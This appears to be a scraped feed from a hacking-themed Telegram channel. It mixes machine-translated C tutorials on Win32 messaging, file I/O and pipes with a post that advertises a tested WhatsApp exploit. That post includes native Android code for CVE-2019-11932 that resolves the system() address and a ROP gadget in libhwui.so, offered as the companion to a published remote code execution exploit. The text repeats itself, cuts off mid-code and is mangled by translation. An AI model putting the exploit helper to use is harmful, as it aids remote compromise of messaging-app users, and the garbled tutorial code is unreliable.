int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WNDCLASS wc;
memset (& wc, 0, sizeof (WNDCLASS));
wc.style = CS_VREDRAW | CS_HREDRAW;
wc.lpfnWndProc = (WNDPROC) WindowProc;
wc.hCursor = LoadCursor (NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH) (COLOR_WINDOW);
wc.lpszClassName = m_szName;
RegisterClass (& wc); // Register window class
HWND hWnd;
hWnd = CreateWindow (m_szName, m_szName, WS_OVERLAPPEDWINDOW, 100,100,320,240, NULL, NULL, hInstance, NULL); // Create window
ShowWindow (hWnd, nCmdShow); // show window
MSG sMsg;
while (int ret = GetMessage (& sMsg, NULL, 0, 0))
{
// message loop
if (ret! = -1)
{
TranslateMessage (& sMsg);
DispatchMessage (& sMsg);
}
}
return 0;
}
3) Although this program only displays a window, it is often used to explain the basic structure of Windows programs. We can also find a similar program structure inside the MFC framework. This app contains the following basic concepts:
Window class, the window procedure and a window message loop
following were introduced.
4) Window Classes, Windows, and Window Procedures
When creating a window, provide the name of the window class. A window class is equivalent to a window template. We can create multiple windows based on the same window class . We can use the windows class registered in Windows in advance. But in more cases, we want to register our own window class . When registering window classes, we need to register items such as name, style, icon, cursor, menu, etc. The most important of these is the address of the window procedure.
5) The window procedure is a function.
All messages received by the window will be sent to this function for processing. So, how is the message sent to the thread message queue sent to the window?
6) Message loop programmers familiar with embedded multitasking programs know that the structure of tasks (equivalent to Windows threads) is basically:
while (1) {wait for signal; process signal;} The task receives the signal and processes it, otherwise it hangs and lets other tasks run. This is the basic structure of a message driver. Windows programs usually do the same:
while (int ret = GetMessage (& sMsg, NULL, 0, 0)) {// message loop if (ret! = -1) {TranslateMessage (& sMsg); DispatchMessage (& sMsg);}}
GetMessage receives a message from a message queue; TranslateMessage generates a WM_CHAR message according to the key press and puts it into the message queue ; DispatchMessage dispatches the message to the window according to the window handle in the message, that is, calls the window procedure function to process the message .
7) Communicating by Message
The function that creates a window returns a window handle. The window handle identifies a unique window instance system-wide (not process-wide). By sending messages to the window, we can achieve in-process and inter-process communication.
We can use SendMessage or PostMessage to send or post messages to the window. SendMessage must wait until the target window has processed the message before returning. I tried: If SendMessage is sent to a window without a message loop, the SendMessage function will never return. PostMessage returns immediately after putting the message in the thread's message queue.
In fact, only delivered messages are dispatched to the window procedure via DispatchMessage. The message sent via SendMessage is already dispatched to the window procedure when the thread GetMessage, without going through DispatchMessage.
π¦ Example of communication between window program and console program Do
you think "routine 1" is meaningless? Let's use it to make a small game: let "routine 1" make a close contact with a console program. We first modify the window procedure of "Routine 1" to:
static LRESULT CALLBACK WindowProc (HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static DWORD tid = 0;
switch (uMsg)
{
case WM_DESTROY:
PostQuitMessage (0); // End the message loop by sending a WM_QUIT message when the window is closed
break;
case WM_USER:
tid = wParam; // Save the thread ID of the console program
SetWindowText (hWnd, "Received");
break;
case WM_CHAR:
if (tid)
{
switch (wParam)
{
case '1': PostThreadMessage (tid, WM_USER + 1, 0, 0); // Send a message to the console program 1
break;
case '2': PostThreadMessage (tid, WM_USER + 2, 0, 0); // Send a message to the console program 2
break;
}
}
break;
default:
return DefWindowProc (hWnd, uMsg, wParam, lParam);
}
return 0;
} Then, we create a console program with the following code:
#include "windows.h
"#include" stdio.h "
static HWND m_hWnd = 0;
void process_msg (UINT msg, WPARAM wp, LPARAM lp)
{
char buf [100];
static int i = 1;
if (! m_hWnd)
{return;}
switch (msg)
{
case WM_USER + 1:
SendMessage (m_hWnd, WM_GETTEXT, sizeof (buf), (LPARAM) buf);
printf ("You are now called:% s \ n \ n", buf); // read and display the name of the other party
break;
case WM_USER + 2:
sprintf (buf, "I am a window% d", i ++);
SendMessage (m_hWnd, WM_SETTEXT, sizeof (buf), (LPARAM) buf); // modify the name of the other party
printf ("renamed you \ n \ n");
break;
}
}
int main ()
{
MSG sMsg;
printf ("Start with thread id% d \ n", GetCurrentThreadId ());
m_hWnd = FindWindow (NULL, "window");
if (m_hWnd)
{
printf ("Found window% x \ n \ n", m_hWnd);
SendMessage (m_hWnd, WM_USER, GetCurrentThreadId (), 0);
}
else
{
printf ("No window found \ n \ n");
}
while (int ret = GetMessage (& sMsg, NULL, 0, 0))
{
// message loop
if (ret! = -1)
{
process_msg (sMsg.
6) Message loop programmers familiar with embedded multitasking programs know that the structure of tasks (equivalent to Windows threads) is basically:
while (1) {wait for signal; process signal;} The task receives the signal and processes it, otherwise it hangs and lets other tasks run. This is the basic structure of a message driver. Windows programs usually do the same:
while (int ret = GetMessage (& sMsg, NULL, 0, 0)) {// message loop if (ret! = -1) {TranslateMessage (& sMsg); DispatchMessage (& sMsg);}}
GetMessage receives a message from a message queue; TranslateMessage generates a WM_CHAR message according to the key press and puts it into the message queue ; DispatchMessage dispatches the message to the window according to the window handle in the message, that is, calls the window procedure function to process the message .
7) Communicating by Message
The function that creates a window returns a window handle. The window handle identifies a unique window instance system-wide (not process-wide). By sending messages to the window, we can achieve in-process and inter-process communication.
We can use SendMessage or PostMessage to send or post messages to the window. SendMessage must wait until the target window has processed the message before returning. I tried: If SendMessage is sent to a window without a message loop, the SendMessage function will never return. PostMessage returns immediately after putting the message in the thread's message queue.
In fact, only delivered messages are dispatched to the window procedure via DispatchMessage. The message sent via SendMessage is already dispatched to the window procedure when the thread GetMessage, without going through DispatchMessage.
π¦ Example of communication between window program and console program Do
you think "routine 1" is meaningless? Let's use it to make a small game: let "routine 1" make a close contact with a console program. We first modify the window procedure of "Routine 1" to:
static LRESULT CALLBACK WindowProc (HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static DWORD tid = 0;
switch (uMsg)
{
case WM_DESTROY:
PostQuitMessage (0); // End the message loop by sending a WM_QUIT message when the window is closed
break;
case WM_USER:
tid = wParam; // Save the thread ID of the console program
SetWindowText (hWnd, "Received");
break;
case WM_CHAR:
if (tid)
{
switch (wParam)
{
case '1': PostThreadMessage (tid, WM_USER + 1, 0, 0); // Send a message to the console program 1
break;
case '2': PostThreadMessage (tid, WM_USER + 2, 0, 0); // Send a message to the console program 2
break;
}
}
break;
default:
return DefWindowProc (hWnd, uMsg, wParam, lParam);
}
return 0;
} Then, we create a console program with the following code:
#include "windows.h
"#include" stdio.h "
static HWND m_hWnd = 0;
void process_msg (UINT msg, WPARAM wp, LPARAM lp)
{
char buf [100];
static int i = 1;
if (! m_hWnd)
{return;}
switch (msg)
{
case WM_USER + 1:
SendMessage (m_hWnd, WM_GETTEXT, sizeof (buf), (LPARAM) buf);
printf ("You are now called:% s \ n \ n", buf); // read and display the name of the other party
break;
case WM_USER + 2:
sprintf (buf, "I am a window% d", i ++);
SendMessage (m_hWnd, WM_SETTEXT, sizeof (buf), (LPARAM) buf); // modify the name of the other party
printf ("renamed you \ n \ n");
break;
}
}
int main ()
{
MSG sMsg;
printf ("Start with thread id% d \ n", GetCurrentThreadId ());
m_hWnd = FindWindow (NULL, "window");
if (m_hWnd)
{
printf ("Found window% x \ n \ n", m_hWnd);
SendMessage (m_hWnd, WM_USER, GetCurrentThreadId (), 0);
}
else
{
printf ("No window found \ n \ n");
}
while (int ret = GetMessage (& sMsg, NULL, 0, 0))
{
// message loop
if (ret! = -1)
{
process_msg (sMsg.
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ LASTEST WHATSAPP EXPLOITE-TESTED 2.19 V
T.me/UNDERCODETESTING
# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)
/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp
*
*/
#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>
typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;
//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
int j;
const char *base = (const char *)info->dlpi_addr;
for (j = 0; j < info->dlpi_phnum; j++) {
const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
gadget_p = (char *) base + phdr->p_vaddr;
return 1;
}
}
return 0;
}
//system address
void* get_system_address(){
libc = dlopen("libc.so",RTLD_GLOBAL);
void* address = dlsym( libc, "system");
return address;
}
//rop gadget address
void get_gadget_lib_base_address() {
lib = dlopen("libhwui.so",RTLD_GLOBAL);
dl_iterate_phdr(dl_callback, NULL);
}
//search gadget
long search_for_gadget_offset() {
char *buffer;
long filelen;
char curChar;
long pos = 0; int curSearch = 0;
//reading file
FILE* fd = fopen("/system/lib64/libhwui.so","rb");
fseek(fd, 0, SEEK_END);
filelen = ftell(fd);
rewind(fd);
buffer = (char *)malloc((filelen+1)*sizeof(char));
fread(buffer, filelen, 1, fd);
fclose(fd);
//searching for bytes
byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
while(pos <= filelen){
curChar = buffer[pos];pos++;
if(curChar == g1[curSearch]){
curSearch++;
if(curSearch > 11){
curSearch = 0;
pos-=12;
break;
}
}
else{
curSearch = 0;
}
}
return pos;
}
extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
char buff[30];
//system address
snprintf(buff, sizeof(buff), "%p", get_system_address());
dlclose(libc);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}
extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
char buff[30];
get_gadget_lib_base_address();
//gadget address
snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
dlclose(lib);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}
@UNDERCODETESTING
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ LASTEST WHATSAPP EXPLOITE-TESTED 2.19 V
T.me/UNDERCODETESTING
# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)
/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp
*
*/
#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>
typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;
//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
int j;
const char *base = (const char *)info->dlpi_addr;
for (j = 0; j < info->dlpi_phnum; j++) {
const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
gadget_p = (char *) base + phdr->p_vaddr;
return 1;
}
}
return 0;
}
//system address
void* get_system_address(){
libc = dlopen("libc.so",RTLD_GLOBAL);
void* address = dlsym( libc, "system");
return address;
}
//rop gadget address
void get_gadget_lib_base_address() {
lib = dlopen("libhwui.so",RTLD_GLOBAL);
dl_iterate_phdr(dl_callback, NULL);
}
//search gadget
long search_for_gadget_offset() {
char *buffer;
long filelen;
char curChar;
long pos = 0; int curSearch = 0;
//reading file
FILE* fd = fopen("/system/lib64/libhwui.so","rb");
fseek(fd, 0, SEEK_END);
filelen = ftell(fd);
rewind(fd);
buffer = (char *)malloc((filelen+1)*sizeof(char));
fread(buffer, filelen, 1, fd);
fclose(fd);
//searching for bytes
byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
while(pos <= filelen){
curChar = buffer[pos];pos++;
if(curChar == g1[curSearch]){
curSearch++;
if(curSearch > 11){
curSearch = 0;
pos-=12;
break;
}
}
else{
curSearch = 0;
}
}
return pos;
}
extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
char buff[30];
//system address
snprintf(buff, sizeof(buff), "%p", get_system_address());
dlclose(libc);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}
extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
char buff[30];
get_gadget_lib_base_address();
//gadget address
snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
dlclose(lib);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}
@UNDERCODETESTING
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Telegram
UNDERCODE TESTING OFFICIAL
π¦ WELCOME TO UNDERCODE TESTING FOR LEARN HACKING & PROGRAMMING & MORE... @UndercodeTesting @iUndercode
ππΎππππ±π ΄
youtube.com/UNDERCODE
π ΅π°π ²π ΄π±πΎπΎπ Ί
Fb.com/UNDERCODETESTING
π Έπ ½πππ°π Άππ°π Ό
INSTAGRAM.com/UNDERCODETESTING
ππΎππππ±π ΄
youtube.com/UNDERCODE
π ΅π°π ²π ΄π±πΎπΎπ Ί
Fb.com/UNDERCODETESTING
π Έπ ½πππ°π Άππ°π Ό
INSTAGRAM.com/UNDERCODETESTING
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦PROGRAMMING IMPROVE YOUR SKILLS BY UNDERCODE
> Instructions and examples of fopen (), fwrite (), fread () functions (detailed explanation)
twitter.com/undercodeNews
π¦ ππΌππ πππΈβπ :
open () function:
1) nction:
Businessmen and statistical trends
In C language, the fopen () function is used to open a file at a specified path and obtain a pointer to the file.
2) Function prototype:
FILE * fopen(const char * path,const char * mode);
-path: file path, such as: "F: \ Visual Stdio 2012 \ test.txt"
-mode: File opening method, for example:
"r" opens the file as read-only. The file must exist.
"w" opens the write-only file. If the file exists, the file length is cleared to 0, that is, the content of the file will disappear. If the file does not exist, the file is created.
"w +" opens a readable and writable file. If the file exists, the file length is cleared to zero, that is, the content of the file will disappear. If the file does not exist, the file is created.
"a" opens the write-only file in an additional way. If the file does not exist, the file will be created. If the file exists, the written data will be added to the end of the file, that is, the original content of the file will be retained. (EOF character reserved)
"a +" opens readable and writable files in an additional way. If the file does not exist, it will be created. If the file exists, the written data will be added to the end of the file, that is, the original content of the file will be retained. (The original EOF character is not retained)
"wb" write only opens or creates a binary file, and only allows writing data.
"wb +" read-write opens or creates a binary file, allowing reading and writing.
"ab" additionally opens a binary file and writes data at the end of the file.
"ab +" read and write opens a binary file, allowing reading, or appending data at the end of the file.
--Return value: After the file is successfully opened, the file pointer to the stream will be returned. If the file fails to open, it returns NULL, and the error code is stored in errno.
π¦ fwrite () function:
1) Function:
In C language, the fwrite () function is used to write data in a memory area to local text.
2) Function prototype:
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
-buffer: pointer to data block
-size: the size of each data, the unit is Byte (for example: sizeof (int) is 4)
-count: number of data
-stream: file pointer
Note: The return value varies with the calling format:
(1) Call format: fwrite (buf, siz eof (buf), 1, fp);
Successful write return value is 1 (ie count)
(2) Call format: fwrite (buf, 1, siz eof (buf), fp);
Successful write returns the actual number of data written (unit is Byte)
3) Matters needing attention:
After writing the data, call fclose () to close the stream. Without closing the stream, each time the data is read or written, the file pointer will point to the next pointer to be written or read.
π¦ Example description:
Code 1: The following code can write 1024 words (int) to a text file. In the call of fwrite, size is sizeof (int) and count is DATA_SIZE
[cpp] view plain copy
<code class="language-cpp">#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
int main ()
{
unsigned int *dataPtr = NULL;
dataPtr = (unsigned int *)malloc(sizeof(int)*DATA_SIZE);
for(unsigned int i=0;i<DATA_SIZE;i++)
{
dataPtr [i] = i; // Initialize the cache area
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","w");
fwrite(dataPtr,sizeof(int),DATA_SIZE,fp);
fclose(fp);
free(dataPtr);
system("pause");
return 0;
}
</code>
Code 2: The following code can also write 1024 words into the text. Although the size in the fwrite function is 1, the count is DATA_SIZE * sizeof (int). Same result as code 1.
// datasave.cpp: defines the entry point of the console application.
//
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
π¦PROGRAMMING IMPROVE YOUR SKILLS BY UNDERCODE
> Instructions and examples of fopen (), fwrite (), fread () functions (detailed explanation)
twitter.com/undercodeNews
π¦ ππΌππ πππΈβπ :
open () function:
1) nction:
Businessmen and statistical trends
In C language, the fopen () function is used to open a file at a specified path and obtain a pointer to the file.
2) Function prototype:
FILE * fopen(const char * path,const char * mode);
-path: file path, such as: "F: \ Visual Stdio 2012 \ test.txt"
-mode: File opening method, for example:
"r" opens the file as read-only. The file must exist.
"w" opens the write-only file. If the file exists, the file length is cleared to 0, that is, the content of the file will disappear. If the file does not exist, the file is created.
"w +" opens a readable and writable file. If the file exists, the file length is cleared to zero, that is, the content of the file will disappear. If the file does not exist, the file is created.
"a" opens the write-only file in an additional way. If the file does not exist, the file will be created. If the file exists, the written data will be added to the end of the file, that is, the original content of the file will be retained. (EOF character reserved)
"a +" opens readable and writable files in an additional way. If the file does not exist, it will be created. If the file exists, the written data will be added to the end of the file, that is, the original content of the file will be retained. (The original EOF character is not retained)
"wb" write only opens or creates a binary file, and only allows writing data.
"wb +" read-write opens or creates a binary file, allowing reading and writing.
"ab" additionally opens a binary file and writes data at the end of the file.
"ab +" read and write opens a binary file, allowing reading, or appending data at the end of the file.
--Return value: After the file is successfully opened, the file pointer to the stream will be returned. If the file fails to open, it returns NULL, and the error code is stored in errno.
π¦ fwrite () function:
1) Function:
In C language, the fwrite () function is used to write data in a memory area to local text.
2) Function prototype:
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
-buffer: pointer to data block
-size: the size of each data, the unit is Byte (for example: sizeof (int) is 4)
-count: number of data
-stream: file pointer
Note: The return value varies with the calling format:
(1) Call format: fwrite (buf, siz eof (buf), 1, fp);
Successful write return value is 1 (ie count)
(2) Call format: fwrite (buf, 1, siz eof (buf), fp);
Successful write returns the actual number of data written (unit is Byte)
3) Matters needing attention:
After writing the data, call fclose () to close the stream. Without closing the stream, each time the data is read or written, the file pointer will point to the next pointer to be written or read.
π¦ Example description:
Code 1: The following code can write 1024 words (int) to a text file. In the call of fwrite, size is sizeof (int) and count is DATA_SIZE
[cpp] view plain copy
<code class="language-cpp">#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
int main ()
{
unsigned int *dataPtr = NULL;
dataPtr = (unsigned int *)malloc(sizeof(int)*DATA_SIZE);
for(unsigned int i=0;i<DATA_SIZE;i++)
{
dataPtr [i] = i; // Initialize the cache area
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","w");
fwrite(dataPtr,sizeof(int),DATA_SIZE,fp);
fclose(fp);
free(dataPtr);
system("pause");
return 0;
}
</code>
Code 2: The following code can also write 1024 words into the text. Although the size in the fwrite function is 1, the count is DATA_SIZE * sizeof (int). Same result as code 1.
// datasave.cpp: defines the entry point of the console application.
//
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
Twitter
UNDERCODE NEWS (@UndercodeNews) | Twitter
The latest Tweets from UNDERCODE NEWS (@UndercodeNews). We provides you daily hacking News & Security Warning & Technologies news & Bugs reports & Analysis... @UndercodeNews @UndercodeUpdate @iUndercode @DailyCve. Aus/Leb
int main ()
{
unsigned int *dataPtr = NULL;
dataPtr = (unsigned int *)malloc(sizeof(int)*DATA_SIZE);
for(unsigned int i=0;i<DATA_SIZE;i++)
{
dataPtr [i] = i; // Initialize the cache area
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","ab+");
fwrite(dataPtr,1,DATA_SIZE*sizeof(unsigned int),fp);
<pre name="code" class="cpp"> fclose(fp);
<pre name="code" class="cpp"> free(dataPtr);
system("pause"); return 0;}
Code 3: The following code writes 4096 char data to the text. The maximum value of the written data is 255, which is different from the above code 1, 2 because the data type of the buffer area is different
// datasave.cpp: defines the entry point of the console application.
//
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
int main ()
{
unsigned char *dataPtr = NULL;
dataPtr = (unsigned char *) malloc (sizeof (int) * DATA_SIZE); // The area applied for is 4096 chars, that is, the area of ββ1024 words
for(unsigned int i=0;i<DATA_SIZE;i++)
{
dataPtr [i] = i; // Initialize the cache area
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","ab+");
fwrite(dataPtr,sizeof(char),DATA_SIZE*sizeof(int),fp);
fclose(fp);
free(dataPtr);
system("pause");
return 0;
}
Code 4: When applying for an area with the malloc function, it is a char * area that can be applied. Unsigned int data can be installed after forced type conversion.
// datasave.cpp: defines the entry point of the console application.
//
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
int main ()
{
unsigned char *dataPtr = NULL;
unsigned int *Ptr = NULL;
dataPtr = (unsigned char *)malloc(sizeof(int)*DATA_SIZE);
Ptr = (unsigned int *) dataPtr;
for(unsigned int i=0;i<DATA_SIZE;i++)
{
Ptr[i] = i;
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","ab+");
fwrite(Ptr,sizeof(unsigned int),DATA_SIZE,fp);
fclose(fp);
free(dataPtr);
system("pause");
return 0;
}
fread () function:
1) Function:
Read data from a file stream
2) The function prototype is as follows:
size_t fread(void *buffer, size_t size, size_t count, FILE *stream);
-buffer: pointer to data block
-size: the size of each data, the unit is Byte (for example: sizeof (int) is 4)
-count: number of data
-stream: file pointer
Note: The return value varies with the calling format:
(1) Call format: fread (buf, sizeof (buf), 1, fp);
When the reading is successful: when the amount of data read is exactly sizeof (buf) Byte, the return value is 1 (ie count)
Otherwise, the return value is 0 (the amount of read data is less than sizeof (buf))
(2) Call format: fread (buf, 1, sizeof (buf), fp);
The successful return value is the actual number of data read back (unit is Byte)
Code reference:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
FILE *filp = NULL;
char fileDir[] = "/home/yangzhiyuan/Documents/test.txt";
char dataPtr[] = "Helloworld";
printf("sizeof(dataPtr) = %ld\n",sizeof(dataPtr));
filp = fopen (fileDir, "w +"); / * readable and writable, create if it does not exist * /
int writeCnt = fwrite (dataPtr, sizeof (dataPtr), 1, filp); / * The return value is 1 * /
// int writeCnt = fwrite (dataPtr, 1, sizeof (dataPtr), filp); / * The return value is 11 * /
printf("writeCnt = %d\n",writeCnt);
fclose(filp);
FILE *fp = NULL;
fp = fopen(fileDir,"r");
char buffer[256];
int readCnt = fread (buffer, sizeof (buffer), 1, fp); / * The return value is 0 * /
// int readCnt = fread (buffer, 1, sizeof (buffer), fp); / * The return value is 11 * /
printf("readCnt = %d\n",readCnt);
fclose(fp);
printf("%s\n",buffer);
exit(0);
}
Note: In this example code, two FILE variables are defined, one for write and one for read. After writing, close the file, then open it, and read. If you use a FILE variable directly, you will get an error!
WRITTEN BY UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
{
unsigned int *dataPtr = NULL;
dataPtr = (unsigned int *)malloc(sizeof(int)*DATA_SIZE);
for(unsigned int i=0;i<DATA_SIZE;i++)
{
dataPtr [i] = i; // Initialize the cache area
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","ab+");
fwrite(dataPtr,1,DATA_SIZE*sizeof(unsigned int),fp);
<pre name="code" class="cpp"> fclose(fp);
<pre name="code" class="cpp"> free(dataPtr);
system("pause"); return 0;}
Code 3: The following code writes 4096 char data to the text. The maximum value of the written data is 255, which is different from the above code 1, 2 because the data type of the buffer area is different
// datasave.cpp: defines the entry point of the console application.
//
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
int main ()
{
unsigned char *dataPtr = NULL;
dataPtr = (unsigned char *) malloc (sizeof (int) * DATA_SIZE); // The area applied for is 4096 chars, that is, the area of ββ1024 words
for(unsigned int i=0;i<DATA_SIZE;i++)
{
dataPtr [i] = i; // Initialize the cache area
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","ab+");
fwrite(dataPtr,sizeof(char),DATA_SIZE*sizeof(int),fp);
fclose(fp);
free(dataPtr);
system("pause");
return 0;
}
Code 4: When applying for an area with the malloc function, it is a char * area that can be applied. Unsigned int data can be installed after forced type conversion.
// datasave.cpp: defines the entry point of the console application.
//
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#define DATA_SIZE 1024
int main ()
{
unsigned char *dataPtr = NULL;
unsigned int *Ptr = NULL;
dataPtr = (unsigned char *)malloc(sizeof(int)*DATA_SIZE);
Ptr = (unsigned int *) dataPtr;
for(unsigned int i=0;i<DATA_SIZE;i++)
{
Ptr[i] = i;
}
FILE *fp = fopen("F:\\Labwindows cvi\\test.txt","ab+");
fwrite(Ptr,sizeof(unsigned int),DATA_SIZE,fp);
fclose(fp);
free(dataPtr);
system("pause");
return 0;
}
fread () function:
1) Function:
Read data from a file stream
2) The function prototype is as follows:
size_t fread(void *buffer, size_t size, size_t count, FILE *stream);
-buffer: pointer to data block
-size: the size of each data, the unit is Byte (for example: sizeof (int) is 4)
-count: number of data
-stream: file pointer
Note: The return value varies with the calling format:
(1) Call format: fread (buf, sizeof (buf), 1, fp);
When the reading is successful: when the amount of data read is exactly sizeof (buf) Byte, the return value is 1 (ie count)
Otherwise, the return value is 0 (the amount of read data is less than sizeof (buf))
(2) Call format: fread (buf, 1, sizeof (buf), fp);
The successful return value is the actual number of data read back (unit is Byte)
Code reference:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
FILE *filp = NULL;
char fileDir[] = "/home/yangzhiyuan/Documents/test.txt";
char dataPtr[] = "Helloworld";
printf("sizeof(dataPtr) = %ld\n",sizeof(dataPtr));
filp = fopen (fileDir, "w +"); / * readable and writable, create if it does not exist * /
int writeCnt = fwrite (dataPtr, sizeof (dataPtr), 1, filp); / * The return value is 1 * /
// int writeCnt = fwrite (dataPtr, 1, sizeof (dataPtr), filp); / * The return value is 11 * /
printf("writeCnt = %d\n",writeCnt);
fclose(filp);
FILE *fp = NULL;
fp = fopen(fileDir,"r");
char buffer[256];
int readCnt = fread (buffer, sizeof (buffer), 1, fp); / * The return value is 0 * /
// int readCnt = fread (buffer, 1, sizeof (buffer), fp); / * The return value is 11 * /
printf("readCnt = %d\n",readCnt);
fclose(fp);
printf("%s\n",buffer);
exit(0);
}
Note: In this example code, two FILE variables are defined, one for write and one for read. After writing, close the file, then open it, and read. If you use a FILE variable directly, you will get an error!
WRITTEN BY UNDERCODE
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ MORE PROGRAMMING :
Directory]
----------------------------------------------- ---------------------------------
pipe ()
system call: pipe ();
prototype: intpipe (intfd [2 ]);
Return value: If the system call is successful, return 0
If the system call fails, return -1: errno = EMFILE (no free file descriptor)
EMFILE (system file table is full)
EFAULT (fd array is invalid)
Note fd [0 ] Is used to read the pipeline, and fd [1] is used to write the pipeline.
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
main ()
{
intfd [2];
pipe (fd);
..
}
Once the pipeline is created, we can create one New child process:
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
main ()
{
intfd [2];
pid_t childpid;
pipe (fd);
if ((childpid = fork ()) ==-1)
{
perror ("fork");
exit (1);
} ..
}
If the parent process wants to read data from the child process, then it should close fd1, and at the same time The child process closes fd0. Conversely, if the parent process wishes to send data to the child process, then it should close fd0 and the child process closes fd1. Because the file descriptor is shared between the parent process and the child process, we must promptly close the end of the unnecessary pipeline. From a technical point of view, if one end of the pipe is not closed properly, you will not get an EOF.
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
main ()
{
intfd [2];
pid_t childpid;
pipe (fd);
if ((childpid = fork ()) = = -1)
{
perror ("fork");
exit (1);
}
if (childpid == 0)
{
/ * Child process closes up in put side of pipe * /
close (fd [0]);
}
else
{
/ * Parent process closes up out put put of side of pipe * /
close (fd [1]);
} ..
}
As mentioned before, once the pipeline is created, the file descriptor used by the pipeline is the same as the normal file The file descriptor is the same.
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
intmain (void)
{
intfd [2], nbytes;
pid_tchildpid;
charstring [] = "Hello, world!";
charreadbuffer [ 80];
pipe (fd);
if ((childpid = fork ()) ==-1)
{
perror ("fork");
exit (1);
}
if (childpid == 0)
{
/ * Child process closes up in put side of pipe * /
close (fd [0]);
